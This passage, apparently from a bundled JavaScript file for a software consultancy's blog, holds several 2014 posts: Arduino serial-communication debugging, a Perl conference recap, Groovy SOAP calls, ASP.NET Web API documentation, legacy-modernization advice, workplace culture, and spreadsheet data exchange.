fixed the problem by modifying the implementation of the\nreadByteUntil method in the Stream class.\n\n```csharp\n// as readBytes with terminator character terminates if length\n// characters have been read, timeout, or if the terminator character\n// detected returns the number of characters placed in the buffer (0\n// means no valid data found)\n\nsize_t Stream::readBytesUntil(char terminator, char *buffer, size_t length)\n{\n if (length < 1) return 0;\n size_t index = 0;\n while (index < length) {\n int c = timedRead();\n if (c < 0) break;\n *buffer++ = (char)c;\n index++;\n if (c == terminator) break;\n }\n return index; // return number of characters, not including null terminator\n}\n```\n\n### Arduino Connection Problem\n\nI only have three USB ports, which means I have to constantly plug and\nunplug my Arduino. During the debugging process, I found it useful to\nhave an identification sequence. If the Arduino board could not be\nidentified, I wrote this to the console. In order to do this, the code\nsends two randomly generated bytes to the Arduino in an IDENTIFY\nmessage. In response the Arduino increments those two bytes, and sends\nthem back. After a certain
1number of retries the computer will stop\ntrying.\n\nThe first IDENTIFY sequence that I developed sent over a blank message\nand did not expect an arbitrary calculation to be performed on the\ndata. This gave me false positives. My mouse identified itself as the\nArduino, because it reflected that exact message back. The sizes for\nthe receive and transfer messages at that time were the same which\nmade this possible.\n\n### Identification Problem\n\nAfter I had added the IDENTIFY sequence, I noticed it wouldn\'t\nidentify after restarting the program. The IDENTIFY sequence would\nleave the Arduino expecting a 1 sequence number. The computer would\nsend a 0 sequence number. The identification process would continue\nuntil it ran out of retry attempts.\n\nIn order to fix this, I added a process to get the expected sequence\nnumber from the Arduino. I made it so that Arduino would always be\nsending an acknowledgement. Before receiving a message from the\ncomputer, the Arduino would be sending an acknowledgement for the\nmessage it knew it wouldn\'t be receiving first thing from the Arduino.\nThe Arduino was previously sending an ACK message until the next\nmessage arrived. The computer code was modified to read the messages\nbeing sent from the Arduino to get the sequence number it was\nexpecting. It would then begin the IDENTIFY sequence.\n\nThis fixed the identification problem.\n\n### Time-Delayed Halt of Transmission\n\nAfter implementing the messaging scheme, I could run the program\nwithout any communication errors, however as time went on the\ncommunication slowed and eventually halted. From experience, I\nsuspected the cause was that a buffer was blocking code execution. The\n1-bit sliding window protocol meant that the Arduino was always\nsending. The class that was reading from the SerialPort was only\nreading one message at a time. If the Arduino was communicating at a\nfaster rate than the computer was reading, then its buffer would\neventually fill up.\n\nMy original guess at the cause was correct: a buffer was filling to\nits brim, and halting code execution. I did not implement the fix\nuntil after reading the documentation more thoroughly. The solution to\nfix this problem is to discard the buffer when it becomes too full. My\nfirst guess involved a call to\n[DiscardInBuffer()](<http://msdn.microsoft.com/en-us/library/system.io.ports.serialport.discardinbuffer(v=vs.110).aspx>).\nThis discarded the driver\'s buffer not the program\'s internal buffer.\nAfter reading the documentation, I changed it to call the\n[ReadExisting()](<http://msdn.microsoft.com/en-us/library/system.io.ports.serialport.readexisting(v=vs.110).aspx>)\nmethod. I chose the DiscardInBuffer() over ReadExisting() initially,\nbecause I did not want to allocate memory for a large string when I\nwould be discarding it anyways.\n\nThis fixed the halt of transmission.\n\n## The End-Product\n\nThe communication protocol is now established. The major pitfalls of\ncommunication have been identified. The following shows a\ndemonstration of the working theremin.\n\n<div class="center">\n<iframe width="560" height="315" src="//www.youtube.com/embed/oHPltRlm1oo" frameborder="0" allowfullscreen></iframe>\n</div>\n\nI feel pretty confident moving to my next mini-project, which will be\na completely autonomous plant watering system. It moves away from the\ncoding and will hopefully give me experience making a project housing\nand working with separated electrical circuits.\n',icon:eB.A,color:"green"},eL={slug:"yapc-yapc-yapc-recap",title:"YAPC! YAPC! YAPC! Recap",excerpt:"That's right folks. The annual North American Perl conference, YAPC::NA, was held in sunny Orlando, Florida last week. Infinity Interactive was well represented and many of our developers presented talks.",authors:['Jake "ducks" Goldsborough'],publishDate:new Date("2014-07-03"),category:"Team",tags:["Technology","Perl","Conferences"],readTime:"2 min read",content:'John SJ Anderson volunteered as the speaker coordinator for the\nconference, and he kicked things off with a\n[welcome talk and general overview of YAPC](http://www.youtube.com/watch?v=dUTZUGaJaMQ).\n\nShawn Moore gave us a great talk on\n["DTrace War Stories"](http://www.youtube.com/watch?v=P88qXvU2RUA)\nwhere he showed us some cool debugging tools to help find tricky bugs\nand performance issues. (He also showed a really cool bot that plays\n[NetHack](http://nethack.org/) for you!)\n\n_You_ ready?! Because in addition to that talk, Shawn Moore also gave a\n[lightning talk](https://www.youtube.com/watch?v=YJrTaMUvjVA&t=45m40s)\nteaching you how to read, speak, and write Japanese in\nonly five minutes!\n\nJesse Luehrs presented an\n["Introduction to Rust"](http://www.youtube.com/watch?v=5EFCMaEbgX4),\na new programming language developed by Mozilla for low level and\nsystems programming.\n\nJay Hannah\n[spoke about his plans to SCUBA dive](http://www.youtube.com/watch?v=ASk284LbD24)\nthe WWII ship his grandfather served on in Indonesia.\n\nI, Jake Goldsborough, gave an\n[introduction to roasting your own coffee](http://www.youtube.com/watch?v=9qKnXaHO3gU)\nat home using a popcorn popper.\n\nFinally, John SJ Anderson also closed out the conference with\n["Yet Another Keynote Speech"](http://www.youtube.com/watch?v=MU6IFUZZBuQ).\n\nAs always, the YAPC organizers put on a great conference and Infinity\nInteractive was excited to attend. Some of us even got in and got our\nhands dirty.\n\n<blockquote class="twitter-tweet" lang="en">\n <p>\n Some of the attendees were even brave enough to print their own shirt at the PERL Conference.\n <a href="https://twitter.com/YAPCNA">@YAPCNA</a>\n <a href="https://twitter.com/hashtag/808AllDay?src=hash">#808AllDay</a>\n <a href="http://t.co/gr7HREcuaA">pic.twitter.com/gr7HREcuaA</a></p>— MZ.\n 808Shirts (@Mrs808Shirts)\n <a href="https://twitter.com/Mrs808Shirts/statuses/481198706331373569">June 23, 2014</a>\n </p>\n</blockquote>\n<script async src="//platform.twitter.com/widgets.js" charset="utf-8"><\/script>\n\nHope to see you at next year\'s YAPC!\n',icon:W.A,color:"blue"};var eF=t(9587);let e$={slug:"groovy-funny-name-serious-power",title:"Groovy - Funny name, serious power",excerpt:"Groovy Web Services is a framework for building web services in Groovy",authors:["Paul Zolnierczyk"],publishDate:new Date("2014-05-09"),category:"Development",tags:["Technology","Java","Web Services"],readTime:"3 min read",content:"In a\n[previous post](/resources/blog/consuming-web-services-with-wsdl2java)\nI demonstrated how to consume a stock web service using WSDL2JAVA.\nAlthough WSDL2JAVA is a great tool, it can generate some long and\ndifficult-to-read code. In this post, I'm going to demonstrate an\neasier, more concise way of calling the same web service using Groovy.\n\n\x3c!-- cut --\x3e\n\n## Quick intro to Groovy\n\nGroovy is a scripting language for the Java Platform. It is\ndynamically compiled by the JVM (Java Virtual Machine). Initially the\nJVM was designed with Java in mind but recently we've seen other\nlanguages that target the JVM hit the scene, including Scala, Clojure,\nand of course, Groovy. The best summary I have seen on Groovy is taken\nfrom a recent book I read:\n\n> \"Groovy is an optionally typed, dynamic language for the Java\n> platform with many features that are inspired by languages like\n> Python, Ruby, and Smalltalk, making them available to Java\n> developers using a Java-like syntax. Unlike other alternative\n> languages, itâs designed as a companion, not a replacement for Java.\n> Being Java friendly means two things: seamless integration with the\n> Java Runtime Environment and having a syntax thatâs aligned with\n> Java.\" -Dierk Koenig with Andrew Glover, Paul King, Guillaume\n> Laforge and Jon Skeet. _Groovy in Action_\n\nWhat resonates with me in this statement is the passage about \"a\ncompanion, not a replacement\". Many times in my career I've come\nacross projects that would have been better written in a different JVM\nlanguage, in a different framework, or even in a different stack such\nas C#/.NET. However, project requirements would mandate the use of\nJava. With Groovy, you can still write most of your co
1de in Java and\nwhen necessary you can include some Groovy which ultimately compiles\ndown to JVM bytecode.\n\n## Show me the code!\n\nLet's get down to business. In my previous post I demonstrated using\nthe WSDL2JAVA tool to auto-generate code to call a web service.\nTypically when I see \"auto-generated\" code it means \"something\nconvoluted I'll never be able to understand when looking at the code\".\nIf you had a chance to look at the code generated by WSDL2JAVA you'll\nknow what I mean — but the bottom line is that the code works.\nAgain, inspired by an example in _Groovy in Action_, below is all the\ncode you need to get the same exact result as the auto-generated\nWSDL2JAVA code.\n\n```groovy\n@Grab('com.github.groovy-wslite:groovy-wslite:0.8.0')\nimport wslite.soap.*\n\ndef url = 'http://ws.cdyne.com/delayedstockquote/delayedstockquote.asmx?wsdl'\ndef client = new SOAPClient(url)\ndef response = client.send {\n version SOAPVersion.V1_2\n body {\n GetQuickQuote(xmlns: 'http://ws.cdyne.com/') {\n StockSymbol('GOOG')\n LicenseKey('')\n }\n }\n}\nassert response.httpResponse.statusCode == 200\nprintln response.GetQuickQuoteResponse.GetQuickQuoteResult\n```\n\n_Executing this code gives a result of 507.10 (09 May 2014)_\n\nIsn't this code a lot easier to read and maintain? If the\n`GetQuickQuote` service ever changed and required an additional\n`String` parameter you would have to run WSDL2JAVA to auto-generate\nthe code all over again. In the above example all you would have to do\nis include:\n\n```groovy\nNewParamater('some string')\n```\n\n## Summary\n\nGroovy helps make Java programming more enjoyable with almost zero\nlearning curve (for an experienced Java developer, anyway). It makes\nworking with SOAP web services easier and will hopefully help you save\nsome time and headaches down the road. I suggest taking a look at the\n[Groovy website](http://groovy.codehaus.org), where you can become\nmore familiar with Groovy and see how it may help you with your\nprojects. Be sure and tweet me @paulish29 if Groovy has helped you in\nany way!\n",icon:eF.A,color:"green"},eq={slug:"api-source-code-to-website-help-pages-in-aspnet-web-api",title:"API Source Code to Website Help Pages in ASP.NET Web API",excerpt:"Recently, I was working on a team project with a number of independent components each with their own data, logic, and presentation layer. I was assigned the task of creating an API for capturing large amounts of real-time data. Since other developers needed to use it, the API had to be documented.",authors:["Alex Sparkman"],publishDate:new Date("2014-05-02"),category:"Development",tags:["Technology","C Sharp","Documentation"],readTime:"4 min read",content:'Technical writing is probably one of the most difficult things to do.\nThe intended audience most likely does not want to read it. It needs\nto have just enough detail, but it needs to be short. And even if it\ndoes meet all those requirements, people still may not read it.\n\n\x3c!-- cut --\x3e\n\n## The Problem\n\nC# has comments, and then it has documentation comments. The\ndocumentation comments may be extracted into an XML file using project\nsettings\n([howto](<http://msdn.microsoft.com/en-us/library/vstudio/x4sa0ak0(v=vs.100).aspx>)).\nThe XML file can then be parsed to produce documentation.\n\nNeither C# or Visual Studio provide a method to parse the XML file\ninto a human-readable format. This is where a little research was\nneeded. I found a couple of solutions.\n\n## The Search\n\nThe first solution was to use an open source project to parse them\ninto a\n[javadoc](http://docs.oracle.com/javase/7/docs/api/java/lang/String.html?is-external=true#field_summary)\n/ [MSDN](<http://msdn.microsoft.com/en-us/library/System(v=vs.110).aspx>)-like\nformat. A\n[stackoverflow post](http://stackoverflow.com/questions/641364/c-sharp-documentation-generator)\nled me to a number of potential packages. The problem was that they\nrevealed too much. It also required a decent amount of knowledge\nregarding how ASP.NET MVC works. Not everyone on the project knew C#,\nor ASP.NET MVC for that matter.\n\nThe second solution was to use the NuGet package ASP.NET Web API 2\nHelp Page. This didn\'t do what I needed it to. This sample explains\nwhy:\n\n```csharp\n/// <summary>\n/// Represents a product.\n/// </summary>\npublic class Product\n{\n /// <summary>\n /// The unique identifier for the product.\n /// </summary>\n public int Id { get; set; }\n\n /// <summary>\n /// The name of the product. This does not have to be null. This\n /// should be prefixed with its one letter type identifier. This\n /// needs to be less than 200 characters in length.\n /// </summary>\n public string Name { get; set; }\n}\n```\n\n## Product Code\n\n```csharp\n// POST api/Products\n/// <summary>\n/// A new product to add.\n/// </summary>\n/// <param name="product">The product to add</param>\n/// <returns>Status code 201 if it was created, along with its ID, and the created property values.</returns>\n[ResponseType(typeof(Product))]\npublic async Task<IHttpActionResult> PostProduct(Product product)\n{\n if (!ModelState.IsValid)\n {\n return BadRequest(ModelState);\n }\n\n db.Products.Add(product);\n await db.SaveChangesAsync();\n\n return CreatedAtRoute("DefaultApi", new { id = product.Id }, product);\n}\n```\n\n## Function for API Call\n\n<div class="center">\n <img src="/content/images/blogs/api-code-to-docs/Sample_2.0.png"\n alt="Example rendered call"\n title="Example rendered call"/>\n</div>\n\n## Generated Documentation\n\nThe problem was that the generated documentation showed the\ndescription for parameters from the PostProduct method, and not the\ndocumentation comments from the plain old class. In the sample, the\ndeveloper using the call would be completely unaware that the Name\nproperty needed to be less than 200 characters, and prefixed with its\none letter product type identifier.\n\nI did some more research, which brought me to my third attempted\nsolution. The next version, 2.1, did the following:\n\n<div class="center">\n <img src="/content/images/blogs/api-code-to-docs/Sample_2.1.png"\n alt="updated example rendered call"\n title="updated example rendered call"\n />\n</div>\n\n## Generated Documentation 2.1\n\nThe property comments were not being included, but why? The data class\nwas in a different project. When the XML files are generated, they are\ngenerated per project. The help page package can not handle more than\none documentation source.\n\nAlmost all of the package code is added through source files included\nin the project. This allowed me to add a second XML file to the\ndocumentation input. When it didn\'t find the documentation from the\nfirst file, it would search the second file.\n\nI changed five lines of the package\'s code. The following shows the\nend result:\n\n<div class="center">\n <img src="/content/images/blogs/api-code-to-docs/Sample_2.1_2.png"\n alt="third try is the charm"\n title="third try is the charm"\n />\n</div>\n\n## The Result\n\n- If a developer has access to the API, they also have access to the\n most recent documentation.\n- I no longer have to worry about updating separate documents.\n- Intelli-sense has useful comments to include when writing new API\n co
1de that uses the old code.\n- When modifying the existing API code, future programmers will have\n more information from the inline comments.\n',icon:eD.A,color:"amber"};var eN=t(7666);let ez={slug:"modernize-your-legacy",title:"Modernize Your Legacy",excerpt:"Are you trying to bring modern development practices to a â¦less-than-modern software development environment?",authors:["Jay Hannah"],publishDate:new Date("2014-04-25"),category:"Development",tags:["Culture","Technology","Partners","Agile","Communication"],readTime:"8 min read",featuredImage:"/content/images/blogs/modernize-your-legacy/modernize.jpg",content:"<div class=\"float:right\">\n<img src=\"/content/images/blogs/modernize-your-legacy/loom.png\"\n alt=\"Egyptian loom\"\n title=\"Egyptian loom\"\n />\n</div>\nTalk to any experienced programmer and they probably have a few\nstories to share about organizations that were â or still are\nâ suffering from business, organizational, or technical\npractices causing unnecessary suffering for everyone involved.\n\n\"Why are they making this so hard?\"\n\n\"If you'd just change X, everyone would be happier and more\nproductive!\"\n\n## Warning Signs\n\nMaybe you're unsure about whether your organization is behind the\ntimes. There are a few things you can check that provide pretty good\nindications that you may need to up your game.\n\n### Silos\n\nOne warning sign that you may be working in an unhealthy environment\nis a lack of communication between employees and across teams. If\nprogrammers have no idea what other programmers are working on, or how\nthey're working on it, then it is extremely likely that you're dealing\nwith a communication failure. Information silos are rarely healthy.\n\nWhich is not to say that every programmer has to know everything every\nother programmer is doing. Not at all. In a healthy environment\nprogrammers are happily churning out changes to software. They're\nbusy. They're focused on their own work. That is good. But they can\nalso tell you, in broad terms, what some other teams are working on.\nShops that use an appropriate amount of cross-team code review can\ntell you lots of specifics about the code that others wrote this week.\nThat's great.\n\n### Visibility\n\nEvery programmer needs to _be able to_ see everything that every other\nprogrammer has done on the project they're both working on. When\nsomething strange happens, or some unexpected feature or bug is\ndiscovered that relates to the issue I'm working on, I need to be able\nto quickly see who last touched that area of the project. How, when,\nand why. I need to see **both** the code and the business problem\n(ideally recorded in the form of issues or tickets) which sparked the\ncode changes.\n\nMost programmers are now saying \"Yes, of course. That's called version\ncontrol, and of course all programmers use it.\"\n\nIndeed. But it may surprise you that there are some very large,\nestablished development departments where the programmers and\ndesigners are still not using version control of any kind.\n\nSome leaders view their environment like this: Give each programmer or\nadministrator their own sandbox and list of responsibilities. Keep\neach of them specialized on their list of features, programs, systems,\nand tasks. In this way, when each new request comes into our\norganization, we know we can hand that to someone specific. Give that\none to Bob. Bob wrote that part. Bob touched it last. Bob owns that.\n\nSuch specialization of technical resources may sound efficient, but it\nis a doomed strategy for long-term maintenance of any IT ecosystem of\nmore than one developer. Only cross-trained teams can survive the\ninevitable loss of resources. Everyone retires eventually.\n\n### \"We're too busy for maintenance\"\n\nManagers afraid of deadlines may utter unfortunate lines like\nthis. But experienced technologists understand the risks inherent in\naccumulating too much\n[technical debt](http://en.wikipedia.org/wiki/Technical_debt). When\nshort-term, emergency thinking is allowed too much time to germinate\nit can take over the development philosophy of an entire team, and\nbecome the new normal. Over time progress and performance will grind\nto a halt as the code spaghetti and business logic inconsistencies\nmultiply.\n\nGood managers know that you can only operate in emergency mode for\nshort bursts, and the long term consequences of poor development\npractices will eventually have a bottom line cost, in terms of both\nmoney and team morale. If you're spending most of your time\nfirefighting, you really need to stop and consider what might be\nmaking your software development environment so combustible in the\nfirst place.\n\n## \"Houston, we have a problem\"\n\nIf you recognized your own organization being described
1in any of the\nwarning signs discussed above, don't despair. There are two broad\nstrategies, each with their own set of tactical actions, that can help\nyou address your organization's issues and modernize your software\ndevelopment practices.\n\n## Strategy One: Work Top Down\n\nOne option is to start by trying to convince leadership of the need to\nimprove things. Some leaders will listen; some leaders will not.\n\nAll you can do is communicate clearly, calmly, and consistently. Offer\nconcrete solutions to concrete problems that are happening right now\nand see if they're willing to implement (or even open to discussing)\nchange. Start small. See how they respond.\n\nPolitical maneuvering is an art. You may find books like\n[The Citizen Lobbyist](http://www.amazon.com/c/dp/B00DNGCZQK)\nhelpful. Whether you're lobbying your congressman for pothole money,\nor your boss to let you try the latest shiny framework, successful\ncommunication principles are the same.\n\nUnfortunately, sometimes politics does not go well.\n\nThere are lots of reasons managers may not implement change. Many of\nthem are social, not technical. You can only get to the bottom of\nthose if you are willing and able to engage in political wrangling.\nEven then, that's only **if** those doors are open to you **and** if\nyou are inclined to walk through them. If not, you may want to put\nmanagement discussions on hold and try some of the \"Bottom Up\" tactics\ndiscussed below. Revisit with management periodically after rounds of\nconcrete progress have been deployed to production. Perhaps, with\ntime, they will begin to listen to the people who are tangibly\nimproving their environment.\n\n## Strategy Two: Work Bottom Up\n\nIf the \"top down\" approach isn't an option, or didn't work out for\nyou, you can try some \"bottom up\" tactics. The key here is to only\nintroduce new things when you can specifically quantity the\nimprovement from the change. Once you get that first crack, continue\nto apply gentle pressure to expand the practice. Here are some\napproaches to consider:\n\n### Testing\n\nWithout structured testing, business people will constantly be\nstumbling into bugs introduced weeks or months earlier because the\ndevelopment and QA people responsible for changes were focused on\nwhatever modification they were intentionally making, not the\nimpressive list of unseen side-effects. Regressions must be fixed over\nand over again. Deja vu. Endless churn. Months and years tick\nby. Awful.\n\nTesting to the rescue!\n\nOne nice feature of website development is that in a pinch you can\ntest websites with **zero** access to, or modification of, the source\ncode itself. By taking an entirely external, or \"black box\", approach\nto website testing you can (perhaps) sidestep the politics of\nrequesting changes or touching other people's silos when they're being\nterritorial.\n\nTools like\n[Test::WWW::Mechanize](https://metacpan.org/pod/Test::WWW::Mechanize#SYNOPSIS)\nmake it trivial to get started. And if Perl isn't your tool of choice,\nthat's fine. Mechanize can hit any web server, regardless of what\nstack that server is written in (Java? .NET? Ruby?). And if you don't\nwant to use a Perl testing framework, use whatever you prefer. The\nimportant thing is to use **something** and get started! Today!\n\nTest-driven development\n([TDD](http://en.wikipedia.org/wiki/Test-driven_development)) tells us\nthat step one in development is to write tests --- tests for the\npreviously delivered scenarios we knew about, and tests for any\ncurrently failing scenarios. Commit all that to git (or whatever\nversion control system you prefer), and then iterate on the code until\nall known scenarios pass simultaneously. Commit again, and you're all\nset.\n\nYour test suite will snowball quickly, becoming an invaluable\nresource. In my case, those initial tests quickly doubled, then\ndoubled again. All along the way I rely on my new testing framework to\nconfirm that each new scenario raised by business or QA feedback is\nresolved without breaking any of my other (known) scenarios.\nConfidence and development speed skyrocket when you don't have to\nspend countless hours clicking a website to verify that **everything**\nis working.\n\nTDD is a less stressful way of life. If you haven't tried it, please\ndo. Your products, your business partners, your customers, and your\nloved one
1s will thank you.\n\n### Code reduction\n\nIt's hard to argue against code reduction. If you can draw high-level\ndiagrams of current and proposed infrastructure showing simplification\nopportunities you may be able to convince some entrenched interests\nthat things can indeed improve. Try color-coding those diagrams: green\nfor healthy infrastructure, yellow for things that need modification,\nand red for things that can be completely eliminated. Clear visual\ncues should be hard to ignore. No middle manager wants to get caught\nblocking progress which is clearly and succinctly visualized on a\nsingle page flow chart that her boss might see someday.\n\n### Profiling\n\nIf you don't have performance metrics on your applications, the time\nto start gathering them is now! Extremely time sensitive organizations\nhave this down to a science: Their\n[continuous integration](http://en.wikipedia.org/wiki/Continuous_integration) (CI)\nserver ([Bamboo](https://www.atlassian.com/software/bamboo) or\nwhatever you prefer) already runs their profiling benchmarks and\ncompares them to previous builds, automatically rejecting builds which\nviolate whatever performance tolerances they set.\n\nBut you don't have to have a CI server in place to get started. Simple\nscripts which log to disk are a great start. Like testing, the most\nimportant step is the first one: if you're not doing anything, get\nstarted today! Small and simple is infinitely superior to nothing.\n\n## Investing In Your Legacy\n\nOne other important thing to keep in mind --- and something that can\nhelp with the political aspects of introducing some of these changes\ninto a resistant environment --- is that not only do they provide\nimmediate measurable benefits, they're also an investment. By putting\nforth some extra effort now, you'll receive future dividends, in the\nform of more rapid development of higher quality software, with fewer\nfailed projects.\n\nI hope you have found some of these thoughts useful. If we can help\nyou get started, or help you improve your existing systems we would\nlove to hear from you. Or if you have specific topics you'd like to\nhear more detail on, please drop us a line. Thanks!\n",icon:eN.A,color:"blue"};var eH=t(4982);let eG={slug:"work-live-wod",title:"Work â Live â WOD",excerpt:"This article may seem like unusual content to find on the blog of a technical company like Infinity Interactive, but one of our goals here is to give you a full picture of Infinity and our employees, and we think this article by Paul Zolnierczyk, a member of our .NET/Java team, has some important things to say.",authors:["Paul Zolnierczyk"],publishDate:new Date("2014-04-11"),category:"Culture",tags:["Culture","Passions"],readTime:"4 min read",content:'Before I joined Infinity Interactive, I worked in typical IT work\nenvironments. I can go on about how much better the water cooler talk\nis over in our \'#General\' IRC channel but that can be saved for\nanother post. What I\'d like to talk about is how working at Infinity\nInteractive allows me to live my life and truly achieve a healthy\nwork/life balance.\n\n<div class="center">\n <img src="/content/images/blogs/work-live-wod/rowing.png"\n alt="Here I am with my wife doing Crossfit Workout 14.4"\n title="Here I am with my wife doing Crossfit Workout 14.4"\n width="400px"\n shadowoverride="true"\n />\n</div>\n\n\x3c!-- cut --\x3e\n\nThere are only 24 hours in a day and you have to choose wisely how you\nsplit that time up to best enjoy your life. Traditionally, IT workers\nhave an 8 hour work day with a half-hour or one hour lunch break\nsomewhere along the way. That alone already accounts for more than a\nthird of your day during your work week. But hold on, you still have\nto get to work, right? I live in\n[Chicagoland](https://en.wikipedia.org/wiki/Chicagoland), and at my\nprevious job it took me an hour to commute to work and an hour and\nhalf to get back home. And that was best case, assuming there were no\naccidents or other traffic problems.\n\nSo, once you included the commute, I had almost half the hours of my\nday allocated to work! Where\'s the room for my life? I had to\nsacrifice sleep, the quality of the food I was eating, my interaction\nwith friends and family, and exercise, just to make a living. That\'s\nno w
1ay to live your life, but it\'s the accepted way of life these\ndays.\n\nHere at Infinity Interactive we don\'t believe in that. We have a\nphilosophy where our work day is carved out by the amount of work we\nhave to do and not confined to 9-5. There are days where we will be\nserving our partners\' needs for 8 hours a day (or more, we don\'t mind)\nand there will be some other days where the work we have only demands\na fraction of our time. There might be times where I can do my work in\nthe evening and spend my morning running errands when the roads are\nless travelled and the stores are empty. As long as we meet our\nobligations and continue to deliver the exceptional quality the\nInfinity Interactive brand represents, we are not chained to our\ndesks, watching the clock, counting the minutes until five o\'clock.\n\nSince I\'ve started working at Infinity, my evenings have become free\nto do what I want and not what I have to do. I can spend time with\nfamily, prepare healthy meals instead of eating fast food and go\nexercise. No juggling or sacrifices needed.\n\nThe most noticeable immediate benefit for me was eliminating my\ncommute. I started putting on those "comfort pounds" soon after my\nmarriage and quickly gained more weight than I was comfortable with.\nMy wife and I decided that we needed to do something before our weight\nbecame a serious health concern. We joined a Crossfit "Box" (which is\nwhat Crossfitters call a gym) and began to transform our lives with\neach Workout of the Day, or WOD. Over the course of a year, I\'ve\ndropped forty pounds. This would not be possible if I had to commute\nto and from work and still make it to one of the evening Crossfit\nclasses. The commute was easily the most draining part of my day.\n\nBecause of the philosophy at Infinity Interactive, my wife and I are\nboth reaping the benefits. No longer do we have to split up errands\nafter we get home commuting from work just to catch up for the day, I\ncan take care of most of the chores (although you don\'t want me\ntouching laundry), allowing us to live our lives.\n\n<div class="center">\n <img src="/content/images/blogs/work-live-wod/OHS.png"\n alt="WOD 14.2"\n title="WOD 14.2"\n width="400px"\n shadowoverride="true" />\n</div>\n\nHere I am doing Crossfit workout 14.2. The cool thing about using\nolympic bumper plates: they\'re all huge, so it looks like you\'re\nmoving a lot of weight even if it\'s just two 10lb plates on the bar.\n',icon:eH.A,color:"red"};var eU=t(8648);let eV={slug:"dont-call-us-a-vendor",title:"Don't Call Us a Vendor",excerpt:"I abhor when people treat us like âVendorsâ instead of Partners. You might think that it's merely semantics, but I would say that the words that we use to define our relationship actually help define the quality of our interactions and the philosophy and attitude of how we work together.",authors:["Jeremy Shao"],publishDate:new Date("2014-04-03"),category:"Culture",tags:["Culture","Partners"],readTime:"3 min read",content:'Look at the etymology⦠Vendor comes from the Latin\n"vendere," to sell, whereas partner comes from the French "par\xe7onier,"\njoint owner. The former smacks of "me getting mine", while the latter\nis about our mutual success.\n\n\x3c!-- cut --\x3e\n\nFor me, the idea of a client/vendor relationship is that the vendor is\nselling a product or service in exchange for a negotiated fee. The\nvendor has no vested interest in the success of the overall project or\nthe client contact. They fulfill an order so that they can get paid.\nThis kind of interaction is shortsighted and often does not result in\nthe best project outcome.\n\nThereâs a place for vendors, but we prefer not to work that way. Ours\nis a holistic approach to working together. Weâre an extension of your\nbusiness, jointly invested in your success. We\'ll deliver you a work\nproduct, but you\'ll also get our attention, respect, experience, and,\nwhen required, our blood, sweat and tears. All with the goal of\ncollaboration during the process and mutual success at the end.\n\nWe want partners. People/companies we can team with; building creative\nsolutions to challenging problems. The key word there is "team," with\ncommon purpose, complementary skills and trust. A mutual trust forged\nover months, years and decades of working together on demanding,\nhigh-profile projects. It\'s this trust that allows all of us the\nfreedom to focus on our strengths. It\'s as a team that we share risk\nand win or lose together.\n\nTo date, we\'ve been pretty successful with this model. We partner with\nsome amazing companies and people, who bring to the table incomparable\nskills in creative design, strategy, copywriting, management and\nbenefits consulting. These partners value our technical skills,\nproblem solving, our integrity, passion and ability to pull projects\nover the finish line. Working together, we can achieve beautiful\nthings.\n\nQuite frankly, success is pretty easy to measure for us. It comes down\nto "Did we make you look good?" If we did, we can all walk away (or\ntogether on to the next challenge) happy. After 16 years in business,\nwe continue to thrive and grow based entirely upon the recommendations\nof people who have worked with us before.\n\nTo those of you already partnering with us, thank you!\n\nFor everyone else, give us a call. We look forward to working with\nyou.\n',icon:eU.A,color:"blue"};var eJ=t(4722);let eY={slug:"spreadsheets-as-a-data-exchange-format",title:"Spreadsheets as a Data Exchange Format",excerpt:"When working with non-technical clients, often their preferred means of exchanging structured data is via spreadsheets. Using a custom tool is not always practical due to cost or training time constraints, and using a type of document that doesn't have its own standard editor (such as XML or JSON) will generally result in having to deal with malformed files on a regular basis, since these files are often edited by hand.",authors:["Jesse Luehrs"],publishDate:new Date("2014-03-27"),category:"Development",tags:["Technology","Perl","Communication"],readTime:"4 min read",content:"Excel is the only program for managing structured data that is widely\nused by both technical and n
1on-technical people, and being able to\nleverage that structure can make the whole data exchange process much\nsmoother, even though it can be frustrating at times.\n\n\x3c!-- cut --\x3e\n\n## Tools\n\nLuckily, Perl comes with a good set of modules for reading and writing\nvarious kinds of spreadsheets. I use the following:\n\n- For `.xlsx` files, I use\n [Spreadsheet::ParseXLSX](https://metacpan.org/release/Spreadsheet-ParseXLSX)\n (which I wrote) for reading, and\n [Excel::Writer::XLSX](https://metacpan.org/release/Excel-Writer-XLSX)\n for writing.\n- For `.xls` files, I use\n [Spreadsheet::ParseExcel](https://metacpan.org/release/Spreadsheet-ParseExcel)\n for reading, and\n [Spreadsheet::WriteExcel](https://metacpan.org/release/Spreadsheet-WriteExcel).\n- For `.csv` files, I use\n [Text::CSV_XS](https://metacpan.org/pod/Text::CSV_XS).\n\nIn addition, I have a couple of unreleased scripts\n([here](https://github.com/doy/conf/blob/master/bin/explode_csv) and\n[here](https://github.com/doy/conf/blob/master/bin/combine_csv)) for\nturning an Excel file into a set of CSV files and back, since it is\noccasionally easier to convert to CSV, make a few edits by hand in a\ntext editor, and then convert back to Excel rather than writing a\nscript to do it. CSV files are also `diff`able, so this can also be\nused to detect changes between different versions of Excel files.\n\nIf you need to debug files that are being misparsed, or if you need to\nimplement Excel support in a language that doesn't yet have a decent\nimplementation, the relevant file format specifications are documented\nquite copiously (and somewhat impenetrably)\n[here (`.xlsx`)](http://www.ecma-international.org/publications/standards/Ecma-376.htm)\nand\n[here (`.xls`)](http://msdn.microsoft.com/en-us/library/cc313154%28v=office.12%29.aspx).\n\n## Best practices\n\n### Mitigating data errors\n\nDon't let the structure of the spreadsheet drive your actual data\nmodel (or vice versa). It's likely that the spreadsheet will be\ncreated by someone who isn't familiar with how the system works\nunderneath, and these documents are often structured in a way that\nemphasizes readability by humans over readability by computers. It's\nquite possible for the document to change in ways that make sense from\ntheir business perspective, but not from the perspective of how the\nsystem works. Keeping a separation between \"how the data is delivered\nto us\" and \"how the system actually understands the data\" (the latter\npreferably driven by actual requirements documents) will make things\nrun more smoothly.\n\nIn addition, these kinds of changes make it much more important to\nhave a lot of error checking. Error checking is probably more\nimportant than testing for these situations, because it's quite\ndifficult to predict the ways in which things can go wrong. Enforcing\na very strict document structure and throwing an error as soon as\nsomething unexpected is seen is preferable to trying to guess and\nending up with malformed data. If you can impress upon the client the\nneed for a strict document structure, even better, but this isn't\nalways possible.\n\nIf you aren't able to enforce a structure, it's often better to take a\ntwo stage approach. First, write your strict importer that expects a\nsingle, well defined document with lots of error checking, and then do\nwhatever you have to do to the data you receive to make it fit, if\npossible. It's rarely worth the effort to modify the actual parser\nevery time the structure of the document changes, since that may\nhappen quite frequently, and every time you change the actual parser\nis another opportunity to introduce bugs into it.\n\n### Other tricks and things to watch out for\n\n- Working with spreadsheets can be tricky, because they are quite\n often assembled by hand, and this can introduce all kinds of\n interesting 